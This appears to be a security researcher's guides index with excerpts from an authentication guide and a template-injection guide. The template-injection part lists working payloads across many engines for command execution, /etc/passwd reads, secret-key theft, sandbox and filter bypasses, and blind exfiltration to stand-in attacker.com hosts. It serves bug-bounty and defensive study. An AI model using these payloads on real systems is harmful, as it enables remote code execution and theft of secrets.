In-depth references for the vulnerability classes I work with most, each covering attack surface, exploitation, and defense. Kept current with CVEs through 2026.
Start here: pick a reading path#
There are 30-odd guides here and you don’t need all of them. Pick the path that matches why you came and read it in order; each guide builds on the one before it.
🐛 Path 1: Finding bugs for bounties#
You have a target and want to find something that pays.
- Bug Bounty Methodology — a recon-to-report workflow, start to finish
- Recon — map the attack surface before you touch anything
- Burp Suite — set up the proxy, extensions and session handling once
- IDOR — one of the most common paid bug classes, with a testing checklist
- XSS Payloads by Context — what to try once you find a reflection, including filter, WAF and CSP bypasses
🔌 Path 2: Testing APIs#
REST and GraphQL targets, where most of the interesting authorization bugs live now.
- API Security — the OWASP API Top 10 from the attacker’s side
- BOLA, BFLA & BOPLA Checklist — the authorization tests to run on every endpoint
- JWT Attacks — alg=none, key confusion and kid injection
- GraphQL Security — introspection, batching and authorization gaps
- Authorization & Access Control — the bug classes underneath everything above
🛡️ Path 3: Building secure apps#
You write or defend the code and want these bugs to stop happening.
- Python Security — dangerous APIs plus Django and Flask hardening
- Leaked Secrets — how keys end up public and how attackers find them
- Software Supply Chain — dependencies, CI/CD and artifact signing
- SSRF Prevention — egress controls that survive filter bypasses
- Session Management — cookie flags, fixation and clean logout
Not sure which? Start with Path 1. Even if you’re on the defending side, seeing how bugs get found makes the fixes make sense.
🎯 Complete Security Guide Hubs#
Comprehensive Guide Collections#
🌐 Web Vulnerabilities Hub — core web security: XSS, SQLi, SSRF, RCE, and modern attack vectors
🔐 API Security Hub — modern API security: GraphQL, JWT, authentication, and authorization
🧪 Security Testing Hub — testing methodology: OSINT, reconnaissance, bug bounty, and automation
Each hub provides curated learning paths, cross-references, and comprehensive coverage of entire security domains.
Core Vulnerability Guides#
Context-aware payloads, filter/WAF/CSP bypasses, framework-specific exploits, DOM clobbering, polyglots, and real-world exploitation chains.
Attack surface mapping, cloud metadata extraction, bypass techniques, exploitation chains, and defense strategies.
Attack classes, database-specific payloads, blind techniques, WAF bypasses, ORM/NoSQL variants, and prevention methods.
Attack surface, exploitation techniques, SameSite and token bypasses, real-world chains, and detection/prevention.
Attack surface, enumeration patterns, BOLA techniques, real-world writeups, detection workflow, and prevention.
Vulnerability classes, exploitation primitives, language-specific chains, real-world CVEs, and detection/prevention.
Parser quirks, in-band and out-of-band exfiltration, parameter entity chains, file-format vectors, and hardening.
Language-specific attack surface, gadget chain mechanics, real-world CVE chains, tools, and detection/prevention.
API & Application Security#
OWASP API Top 10 exploitation, authentication and authorization bypasses, rate limit evasion, real-world chains, and detection/prevention.
Discovery, introspection, schema recovery, injection, authorization flaws, batching, DoS, subscriptions, and engine-specific quirks.
Authorization models, bug classes, bypass techniques, real-world chains, and detection/prevention patterns for web and API testing.
Authentication & Identity Security#
Protocols, mechanisms, vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern authentication methods from enterprise to web applications.
Algorithm confusion, signature bypass, library-specific issues, and secure implementation patterns. Covers detection methodologies and exploitation techniques.
Template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies.
Session lifecycle, token management, storage mechanisms, fixation and hijacking, cookie flags, and defense strategies, with 2026 session CVEs.
Workflow bypass, race conditions, payment logic flaws, privilege escalation chains, and application context attacks. Covers 27 CVE discoveries.
AI & Emerging Technologies#
Large Language Model and agentic AI system security, attack surface, exploitation techniques, real-world CVE chains, payloads, and layered detection/prevention.
An AI coding agent deleted a production database in nine seconds. How to give agents their own scoped, short-lived credentials, split read tools from write tools, and gate destructive actions, with a copy-paste checklist.
Security Methodology & Techniques#
Threat models, platform attack surface, reverse engineering, runtime instrumentation, bypass techniques, testing methodology, and defensive controls.
Dangerous APIs, deserialization pitfalls, framework-specific risks, supply chain attacks, LLM-era CVEs, static analysis tooling, and hardening patterns.
Fundamentals, coverage feedback, harness construction, corpus strategy, sanitizer usage, and the tool stack for web, binary, kernel, and API targets.
Attack surface discovery, subdomain enumeration, live host probing, content discovery, JS mining, cloud asset hunting, automation, and continuous monitoring.
Methodology, collection disciplines, tooling, pivoting techniques, and operational security for intelligence gathering.
Detection, remediation, and hardening with coverage of GitGuardian research, OWASP guidance, TruffleHog/Gitleaks, real-world breaches, and AI-era patterns.
Methodology, platforms, reconnaissance pipelines, vulnerability hunting, exploit chaining, report writing, and career strategy.
Core tools, essential extensions, Bambdas and BChecks, Collaborator, macros and session handling, custom extension development, Burp AI, and real-world testing workflows.
Threat model across the SDLC, package-registry attack patterns, CI/CD hardening, artifact provenance and signing, SBOMs, dependency scanning, case studies, and defensive checklists.
Blog Posts by Topic#
Server-Side Request Forgery (SSRF)#
Cross-Site Scripting (XSS)#
XML External Entity (XXE)#
Memory Safety#
Python#
Research Methodology#
Talks & Presentations#
Check out my speaking page for conference talks and presentations on these security topics.
Additional Resources#
For curated security resources and tools, visit appsec.fyi - my collection of application security resources.
This guides index is continuously updated as I research and publish new security content. Each topic represents areas of active research and practical experience.
Comprehensive Authentication Guide 🆕 Updated September 12, 2026 — added the NetScaler SAML canonicalization overflow (CVE-2026-8452) and why pre-signature-verification parsing is every SAML SP’s unauthenticated attack surface.
A practitioner’s reference for authentication security — protocols, mechanisms, vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern authentication methods from enterprise to web applications.
Table of Contents Fundamentals Password-Based Authentication Multi-Factor Authentication (MFA) OAuth 2.0 & OpenID Connect SAML & Enterprise SSO Modern Authentication (FIDO, WebAuthn, Passkeys) JWT Security Session Management Authentication Bypasses & Attacks Implementation Security Testing & Verification 1. Fundamentals Core Concepts Term Definition Security Impact Authentication (AuthN) Process of verifying identity claims Foundation of access control Digital Identity Unique representation in online context Basis for authorization decisions Identity Proofing Binding digital identity to real person KYC/compliance requirement Session Management Maintaining state across requests Critical for web application security Non-Human Identity (NHI) API keys, OAuth tokens, service accounts Path of least resistance for attackers — not bound by MFA or IP restrictions Authentication Factors Factor Type Examples Vulnerability Classes Something You Know Passwords, PINs, security questions Brute force, credential stuffing, social engineering Something You Have Hardware tokens, mobile apps, SMS SIM swapping, device theft, malware Something You Are Biometrics (fingerprint, face, voice) Spoofing, template theft, privacy concerns 2. Password-Based Authentication Password Strength Requirements Requirement NIST SP800-63B Standard Security Rationale Minimum Length 8 chars (with MFA), 14+ (without MFA) Increases brute force difficulty Maximum Length At least 64 characters Prevents artificial length limits Character Composition No mandatory complexity rules Avoid predictable patterns Dictionary Checking Block common passwords Prevent credential stuffing Common Password Vulnerabilities ATTACK VECTORS: ├── Credential Stuffing │ ├── Breach databases (HaveIBeenPwned) │ ├── Password reuse across sites │ └── Automated login attempts ├── Brute Force Attacks │ ├── Dictionary attacks │ ├── Rule-based mutations │ └── Hybrid attacks └── Password Reset Flows ├── Weak reset tokens ├── Token reuse vulnerabilities ├── Account enumeration └── Email interception for ATO (Post SMTP CVE-2025-24000 — Subscriber+ reads reset emails via broken REST API permissions) Secure Implementation Patterns Security Control Implementation Bypass Techniques Rate Limiting Progressive delays, account lockouts IP rotation, distributed attacks CAPTCHA Human verification challenges OCR bypass, solving services Password Hashing bcrypt, scrypt, Argon2 Rainbow tables (if salts weak) Breach Detection Monitor for credential exposure Private/corporate breaches REST API Auth Role-based permission callbacks (not just is_user_logged_in()) Subscriber-level access to admin endpoints 3. Multi-Factor Authentication (MFA) MFA Implementation Types Method Security Level User Experience Attack Vectors SMS OTP Low High friction SIM swapping, SS7 attacks TOTP Apps Medium Medium friction Device compromise, social engineering Push Notifications Medium-High Low friction MFA fatigue, device takeover Hardware Tokens High Medium friction Physical theft, supply chain Biometrics High Low friction Spoofing, template extraction Passwordless (FastPass/FIDO2) Very High Low friction Device compromise (Okta Terrify), endpoint proxy MFA Bypass Techniques BYPASS METHODS: ├── Social Engineering │ ├── MFA fatigue (push spam) │ ├── Vishing (voice phishing) │ └── SIM swapping ├── Technical Bypasses │ ├── Session fixation │ ├── MFA enrollment abuse │ ├── Backup code exploitation │ └── Race conditions ├── Adversary-in-the-Middle (AiTM) │ ├── Real-time phishing (Evilginx, Tycoon 2FA, Evilproxy, Mamba 2FA) │ ├── Session cookie interception and replay │ ├── Token replay │ └── Cloudflare Workers as transparent proxy (IOActive research) ├── Authentication Downgrade Attacks │ ├── JSON config manipulation — flip FIDO2 isDefault:false, push isDefault:true │ ├── CSS injection to hide passkey/FIDO2 UI options │ ├── Browser User-Agent spoofing (e.g., Safari on Windows) to trigger Entra ID fallback │ └── WebAuthn immediate mediation abuse for non-WebAuthn fallback steering ├── Conditional Access Policy (CAP) Bypasses │ ├── IP whitelisting bypass (VPN, Zscaler pivoting) │ ├── Geo-whitelisting bypass (VPN/location spoofing) │ ├── User-agent whitelisting bypass (custom UA strings) │ ├── Cloud tooling bypasses (ROADtools, BloodHound, AADInternals) │ └── Non-MFA hosts (legacy protocols, password reset portals) └── Machine-Based Attacks ├── Session token theft from memory (Cobalt Strike BOFs) ├── OTP keylogging / seed QR code theft ├── Okta Terrify — extract passwordless keys from compromised endpoint └── Stolen/unlocked devices Phishing-as-a-Service (PhaaS) Kits Kit Technique Detection Evasion Evilginx Open-source reverse proxy AiTM Default LetsEncrypt certs, 8-char URL paths, TLS fingerprint differs from target Tycoon 2FA PhaaS MFA bypass Dynamically obfuscated JS, phishing URL gating, IP/UA filtering Evilproxy PhaaS MFA bypass Templates for popular targets, bot detection Mamba 2FA PhaaS MFA bypass Anti-crawler delays, redirect to benign pages Cloudflare Workers Serverless transparent proxy (IOActive PoC) Zero forensic footprint, trusted CDN IPs, ephemeral execution Implementation Security Checklist Control Verification Common Mistakes Enrollment Security Verify primary auth before MFA setup Allow MFA changes without re-auth Backup Mechanisms Secure recovery codes Weak backup code generation Device Trust Risk-based authentication Unlimited device trust Rate Limiting Throttle MFA attempts No limits on failed attempts Eliminate Fallbacks No SMS/TOTP/push if FIDO2 deployed Mixed-mode policies allow downgrade Audit MFA Logs Detect new MFA device registration post-compromise Missing persistence detection 4. OAuth 2.0 & OpenID Connect OAuth 2.0 Flow Types Grant Type Use Case Security Considerations Authorization Code Server-side web apps Most secure, requires PKCE for SPAs Authorization Code + PKCE Public clients, SPAs Prevents authorization code injection Implicit Legacy SPAs Deprecated, token in URL fragment Client Credentials Service-to-service No user context, secure storage critical Device Code IoT/limited input devices Phishing risk during user approval Common OAuth Vulnerabilities Vulnerability Attack Vector Mitigation Authorization Code Interception Redirect URI manipulation Strict redirect validation State Parameter Missing CSRF attacks Cryptographically strong state Scope Escalation Privilege elevation Minimal scope principle Client Impersonation Stolen client credentials Client authentication OAuth Parameter Injection Inject arbitrary params (redirect_uri, scope) into auth flow Input sanitization (Okta auth0/nextjs-auth0 vuln) Implicit Flow Token Theft Access token in URL fragment, referer leakage Migrate to Authorization Code + PKCE CSRF via Missing State Attacker injects own authorization code into victim session State parameter enforcement Redirect URI Bypass Pattern-matching bypass (%2f%2f, %5c%5c, %3F, %23, port injection) Exact string match, no wildcards Credential Leakage via Referer Authorization code or token in Referer header to third-party content No third-party resources on callback pages Non-Human Identity Abuse Compromised OAuth tokens with overly broad scopes, null expiry refresh tokens Scope minimization, token rotation, vendor vetting Dynamic Client Registration SSRF (PortSwigger Research) SSRF ATTACK SURFACE VIA DYNAMIC REGISTRATION: ├── logo_uri — Server fetches logo image → SSRF on /authorize ├── jwks_uri — Server fetches JWK set for client_assertion validation → Blind SSRF ├── sector_identifier_uri — Server fetches redirect_uri list → SSRF on registration or authorization ├── request_uris — Whitelisted request_uri values → SSRF on /authorize via request_uri param │ (Even without dynamic registration, test request_uri on /authorize directly) └── Discovery: GET /.well-known/openid-configuration ├── registration_endpoint ├── request_uri_parameter_supported └── require_request_uri_registration CVE-2021-26715: SSRF via logo_uri in MITREid Connect ForgeRock OpenAM: SSRF via request_uri + redirect_uri Session Poisoning OAuth Security Implementation SECURITY CONTROLS: ├── Authorization Server │ ├── Strict redirect URI validation (exact match, no wildcards) │ ├── State parameter enforcement │ ├── PKCE for public clients │ ├── Short-lived authorization codes (single use) │ └── Disable Dynamic Client Registration if not needed ├── Resource Server │ ├── Token introspection │ ├── Scope validation │ ├── Audience verification │ └── Rate limiting ├── Client Application │ ├── Secure token storage (never in browser history/URL) │ ├── Token refresh handling with expiry │ ├── CSRF protection via state parameter │ ├── PKCE code_verifier/code_challenge │ └── TLS everywhere └── Non-Human Identity Governance ├── Monitor OAuth app registrations and consent grants ├── Audit token scopes vs actual usage ├── Enforce refresh token expiry (no null expiry) └── Vendor breach monitoring for third-party OAuth apps OAuth Pentesting Checklist (Authorization Code Grant) Test Case What to Check Impact Redirect URI Validation Change redirect_uri to attacker domain, test pattern bypasses Token/code theft State Parameter Remove or reuse state, test CSRF Account hijacking Code Reuse Replay authorization code Session hijacking Client Secret Exposure Check JS source, mobile app binaries Full OAuth flow compromise Scope Manipulation Request elevated scopes Privilege escalation Token in URL/History Check if access_token appears in URL fragment or browser history Token theft Referer Leakage Check callback pages for third-party resource loads Code/token leakage request_uri SSRF Supply attacker URL in request_uri param on /authorize Server-side request forgery 5. SAML & Enterprise SSO SAML Attack Surface Component Attack Vectors Security Controls Identity Provider (IdP) XML signature bypass, SAML injection Strong XML validation, signature verification Service Provider (SP) Assertion replay, audience restriction bypass, parser differential exploitation Strict temporal/audience checks, single XML parser SAML Assertions XXE, signature wrapping (XSW), attribute pollution Secure XML parsing, validation Metadata Metadata spoofing, certificate substitution Out-of-band verification FortiCloud SSO Crafted SAMLResponse to /remote/saml/login (CVE-2025-59718) Disable FortiCloud SSO until patched Citrix NetScaler SAML canonicalization overflow (CVE-2026-8452) Citrix published CTX696604 on 30 June 2026. CVSS 8.8, unauthenticated, and it belongs in a SAML guide rather than a memory-safety one because of where in the SAML flow it sits.
...
Overview 🆕 Updated September 12, 2026 — added the Thymeleaf tab-character sandbox bypass (CVE-2026-40478) and the audit question that actually determines exposure.
A practitioner’s reference for Server-Side Template Injection — template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices.
Table of Contents Fundamentals Detection & Identification Template Engine Exploitation Framework-Specific Attacks Payload Development Advanced Exploitation Bypass Techniques Testing Methodology Secure Implementation Detection & Prevention CVE Reference 1. Fundamentals SSTI Attack Surface Template Context Risk Level Common Locations User Input Rendering Critical Email templates, reports, dynamic pages Configuration Files High Template-based configs, dynamic routing Error Messages Medium Custom error pages, debug output Log Messages Low Log formatting, audit trails Email Workflow Templates Critical Notification templates, marketing emails (Shopify Return Magic, Fides) Recipe/CMS Content Fields Critical User-editable content rendered by template engines (Tandoor Recipes, Alfresco) JMS/Message Headers High Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) Template Engine Landscape Engine Language Popularity Exploitation Difficulty Jinja2 Python Very High Medium Twig PHP High Medium FreeMarker Java High High Velocity Java Medium High Thymeleaf Java Medium Medium Smarty PHP Medium Low Mako Python Low Low Handlebars Node.js Very High Medium Pug (Jade) Node.js High Medium Go html/template Go Medium High (context-dependent) Go text/template Go Medium Medium Jelly Java Medium (ServiceNow) Medium MVEL Java Low Low Mustache Multi-language Medium High (logicless by design) Tornado Python Medium Medium 2. Detection & Identification Detection Methodology SSTI DETECTION FLOW: 1. Identify template injection points 2. Test mathematical expressions 3. Analyze error messages 4. Determine template engine 5. Craft engine-specific payloads 6. Test blind detection via time-based or OOB channels Basic Detection Payloads Test Case Payload Expected Result Mathematical ${7*7} 49 if vulnerable Mathematical {{7*7}} 49 if vulnerable Mathematical <%=7*7%> 49 if vulnerable String Concatenation ${'a'+'b'} ab if vulnerable Function Call ${T(java.lang.System).getProperty('user.name')} Username if Spring EL Go Detection {{ . }} Memory address of passed object if Go template Handlebars Detection {{this}} [object Object] if Handlebars FreeMarker String ${"Hello " + "World"} Hello World if FreeMarker FreeMarker Array ${["one", "two", "three"][1]} two if FreeMarker FreeMarker Length ${"test"?length} 4 if FreeMarker FreeMarker Date ${.now?string("yyyy-MM-dd")} Current date if FreeMarker Jelly (ServiceNow) <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> 1337 in error message Thymeleaf Inline [[${7*7}]] 49 if Thymeleaf expression inlining Template Engine Fingerprinting IDENTIFICATION DECISION TREE: ├── {{7*7}} = 49 │ ├── {{this}} = [object Object] → Handlebars (Node.js) │ ├── Jinja2 (Python) │ ├── Twig (PHP) │ └── Nunjucks (Node.js) ├── ${7*7} = 49 │ ├── ${"test"?length} = 4 → FreeMarker (Java) │ ├── ${T(java.lang.Runtime)} works → Spring EL (Java) │ └── Velocity (Java) ├── <%=7*7%> = 49 │ ├── ERB (Ruby) │ └── ASP Classic ├── {7*7} = 49 │ └── Smarty (PHP) ├── {{ . }} = memory address │ └── Go html/template or text/template ├── [[${7*7}]] = 49 │ └── Thymeleaf (Java) expression inlining └── <g:evaluate>...</g:evaluate> executes └── Jelly (ServiceNow) Blind SSTI Detection Method Payload Example Verification Time-based (Jinja2) {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} Response delay Time-based (FreeMarker) <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} Response delay DNS Exfiltration {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} DNS logs HTTP Callback Jinja2 urllib.request.urlopen to attacker URL HTTP logs 3. Template Engine Exploitation Jinja2 (Python) Exploitation Attack Vector Payload Impact Basic RCE {{config.__class__.__init__.__globals__['os'].popen('id').read()}} Command execution Subprocess {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} Command execution File Read {{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} File access Config Access {{config.SECRET_KEY}} Sensitive data exposure Lipsum Shorthand {{lipsum.__globals__}} Bypass length limits Cycler RCE {{cycler.__init__.__globals__.os.popen('id').read()}} Shorter RCE payload Hex-encoded attr() {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} Filter bypass RCE (CVE-2025-23211) Warning class import {% for s in ().__class__.__base__.__subclasses__() %}{% if "warning" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen("env").read()}}{% endif %}{% endfor %} RCE via warning subclass (Fides advisory) Twig (PHP) Exploitation TWIG ATTACK PATTERNS: ├── Filter Abuse │ ├── {{_self.env.registerUndefinedFilterCallback("exec")}} │ ├── {{_self.env.getFilter("id")}} │ └── {{["id"]|filter("system")}} ├── Function Injection │ ├── {{_self.env.registerUndefinedFunction("exec")}} │ └── {{_self.env.getFunction("system")}} ├── Object Injection │ ├── {{app.request.query.get('cmd')|passthru}} │ └── {{dump(app)}} (information disclosure) └── Escape Handler Abuse (Grav CMS — GHSA-2m7x-c7px-hp58) ├── {{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} └── {{ ['id'] | escape('system', 'system') }} (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled) FreeMarker (Java) Exploitation Technique Payload Description Object Creation <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} Command execution Static Method Call ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} Process creation File System Access <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> File manipulation ?lower_abc Filter Bypass ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} Reconstruct “freemarker.template.utility.Execute” char-by-char to bypass keyword blocklists CamelContext Sandbox Escape <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} RCE even with ClassResolver sandbox enabled (Apache Camel) CamelContext Language $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) Groovy expression via Camel context Alfresco Sandbox Bypass Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) RCE in Alfresco CMS Handlebars (Node.js) Exploitation Technique Payload Description Prototype Pollution + AST Injection Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value Bypass parser validation, inject code directly into compiler Constructor Chain `{{#with “s” as string toString Override + bind() Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor Full RCE without scope-defined functions (Shopify Return Magic) pendingContent Detection Pollute Object.prototype.pendingContent with test string Detect Handlebars engine in black-box with prototype pollution Pug (Node.js) Exploitation Technique Payload Description AST Injection via block Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} XSS/content injection via prototype pollution Code Injection via line Pollute Object.prototype.block.type = "Code" with body containing RCE payload Command execution via AST manipulation Thymeleaf (Java) Exploitation THYMELEAF ATTACK PATTERNS: ├── Expression Preprocessing Double-Eval │ ├── __${path}__ preprocesses user input, result evaluated as expression │ ├── URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')}) │ └── Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {}) ├── Spring Boot 3.3.4 Denylist Bypass (modzero research) │ ├── Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils │ ├── Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist) │ ├── "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") │ │ .invokeMethod( │ │ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") │ │ .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), │ │ "exec", "whoami") │ └── Full payload reads command output via IOUtils + file write for non-blind RCE ├── CVE-2023-38286 (Spring Boot Admin) │ ├── Bypass Thymeleaf blacklists via ReflectionUtils (older versions) │ ├── th:with chaining: findMethod → invokeMethod → exec │ └── Requires MailNotifier enabled + write access to env vars └── CVE-2022-46166 (Spring Boot Admin) └── RCE via variable coverage in notification templates Velocity (Java) Exploitation Technique Payload Description CamelContext RCE ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} RCE via JavaScript engine in Apache Camel Template Override Send CamelVelocityTemplate header to override default template Dynamic template injection via message headers Resource URI Override Send CamelVelocityResourceUri header pointing to file:///etc/passwd Arbitrary file disclosure MVEL (Java) Exploitation Technique Payload Description Direct RCE @{java.lang.Runtime.getRuntime().exec('id')} Direct runtime access ObjectFactory RCE @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} Via ScriptEngine Template Override Send CamelMvelTemplate header Apache Camel dynamic template Go Template Exploitation GO SSTI ATTACK PATTERNS: ├── Detection │ └── {{ . }} — prints memory address/object dump of passed struct ├── Data Leakage │ ├── {{ .Email }} / {{ .Password }} — access struct fields │ └── Leaks any exported field on the passed object ├── Method Invocation │ ├── {{ .MethodName "arg" }} — call exported methods on passed struct │ └── Methods must be exported (capitalized) to be callable ├── Gin Framework Gadgets │ └── {{ .Writer.WriteString "<script>alert(1)</script>" }} — XSS via response writer ├── Echo Framework Gadgets │ ├── {{ .File "/etc/passwd" }} — arbitrary file read │ ├── {{ .Attachment "/etc/passwd" "passwd" }} — file read via attachment │ ├── {{ .Inline "/etc/passwd" "passwd" }} — file read inline │ └── {{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x }} — file read with I/O control ├── Fiber Framework Gadgets │ ├── {{ .App.Shutdown }} — denial of service │ └── {{ .Response.SendFile "/etc/hostname" }} {{ .Response.Body }} — file read via fasthttp.Response ├── Method Confusion (OnSecurity Research) │ ├── If passed object type matches a method's receiver, call with custom params │ ├── echo.Context.File("path") gadget for arbitrary file read │ └── Gadget hunting: search imported modules for exported methods with dangerous behavior └── text/template vs html/template ├── text/template allows direct "call" for public functions — higher risk └── html/template restricts call — requires gadget chains Jelly (ServiceNow) Exploitation Technique Payload Description Template Injection Probe <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> Confirm injection via math result (1337) in error message DB Credential Theft Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() Extract database connection strings Chained Exploitation CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) Full RCE chain on ServiceNow Style Tag Bypass Embed Jelly tags inside <style> element in jvar_page_title parameter Bypass basic input validation 4. Framework-Specific Attacks Spring Framework (Java) Context Payload Impact Spring EL ${T(java.lang.Runtime).getRuntime().exec('id')} RCE SpEL Injection #{T(java.lang.System).getProperty('user.name')} Information disclosure Request Context ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} Environment access Thymeleaf Double-Eval '+${7*7}+' in Referer header with __${Referer}__ preprocessing RCE via preprocessing (modzero) MethodUtils Bypass "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) Bypass Thymeleaf denylist in Spring Boot 3.3.4+ WebAsyncManager Header Exfil Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response Non-blind RCE without outbound connections Django (Python) DJANGO TEMPLATE ATTACKS: ├── Debug Information │ ├── {{settings.SECRET_KEY}} │ ├── {{settings.DATABASES}} │ └── {{settings.DEBUG}} ├── Object Traversal │ ├── {{request.META}} │ ├── {{request.user}} │ └── {{request.session}} └── Filter Abuse ├── Custom filters with dangerous functions └── Template tag injection Laravel (PHP) Attack Type Payload Result Blade RCE @php(system('id')) @endphp Command execution Variable Access {{$app->make('config')->get('database.default')}} Configuration disclosure Helper Function {{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} Application introspection Apache Camel (Java) APACHE CAMEL SSTI (CVE-2020-11994): ├── Affected Components │ ├── camel-freemarker (CamelFreemarkerTemplate header) │ ├── camel-velocity (CamelVelocityTemplate header) │ ├── camel-mvel (CamelMvelTemplate header) │ └── camel-mustache (MustacheResourceUri header — file disclosure only) ├── Attack Pattern │ ├── Override default template via message header injection │ ├── Header source depends on consumer: JMS properties, HTTP headers, etc. │ └── ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd) ├── Sandbox Bypass │ ├── camelContext object exposed in template context │ ├── getInjector() + getClassResolver() → instantiate arbitrary classes │ └── resolveLanguage("groovy") → evaluate arbitrary Groovy expressions └── Impact └── RCE + Arbitrary File Disclosure across all template components Grav CMS (PHP/Twig) Attack Type Payload Result setEscaper Abuse {{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {{ ['id'] | escape('system', 'system') }} RCE by redefining escape filter to system() Root Cause Twig sandbox not enabled; unrestricted access to extension classes via template context Arbitrary callable registration 5. Payload Development Payload Construction Strategy PAYLOAD DEVELOPMENT PROCESS: ├── Environment Discovery │ ├── Available classes/modules │ ├── Security restrictions │ └── Execution context ├── Bypass Development │ ├── Filter evasion │ ├── Character restrictions │ └── Length limitations ├── Payload Optimization │ ├── Minimize detection │ ├── Maximize impact │ └── Ensure reliability └── Multi-Stage Delivery ├── Store payload in persistent objects (Jinja2 config object) ├── Retrieve and execute across separate requests └── Useful when injection point has size limits (email fields) Common Payload Patterns Goal Python/Jinja2 PHP/Twig Java/FreeMarker Node.js/Handlebars Go List Classes {{''.__class__.__mro__[1].__subclasses__()}} {{dump()}} <#list .data_model?keys as key>${key}</#list> {{this}} {{ . }} Execute Command {{cycler.__init__.__globals__.os.popen('id').read()}} {{_self.env.registerUndefinedFilterCallback("system")}} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} Prototype pollution + AST injection N/A (gadget-dependent) Read File {{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} {{include('/etc/passwd')}} <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> N/A {{ .File "/etc/passwd" }} (Echo) Size-Limited Payload Technique (Jinja2) MULTI-REQUEST PAYLOAD STAGING: 1. Store payload in config object via short injection: {{config.update(a=request.args.get('a'))}} with URL parameter: ?a=<long RCE payload> 2. Verify storage: {{config.a}} 3. Execute stored payload: {{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}} Use case: SSTI in email fields with RFC-imposed size limits 6. Advanced Exploitation Blind SSTI Exploitation Detection Method Payload Verification Time-based {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} Response delay DNS Exfiltration {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} DNS logs HTTP Callback {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} HTTP logs Sandbox Escape Techniques SANDBOX BYPASS METHODS: ├── Python/Jinja2 │ ├── __builtins__ access via globals │ ├── Class traversal to dangerous modules │ ├── Import statement reconstruction │ └── Warning subclass → __builtins__['__import__'] chain ├── Java/FreeMarker │ ├── ObjectConstructor for arbitrary class instantiation │ ├── Static method calls via ?new() │ ├── Reflection API abuse │ ├── CamelContext.getInjector() + getClassResolver() (Apache Camel) │ └── ScriptEngineManager for Groovy/JavaScript eval ├── Java/Thymeleaf │ ├── Expression preprocessing (__...__) double-evaluation │ ├── org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist) │ ├── "".class.forName() to load arbitrary classes │ └── ReflectionUtils (older versions, now denylisted) ├── PHP/Twig │ ├── Filter/function registration │ ├── Object property access │ ├── Include/eval function calls │ └── setEscaper() to redefine escape function as system() (Grav CMS) └── Node.js/Handlebars ├── AST Injection via prototype pollution (bypass parser entirely) ├── Function constructor via 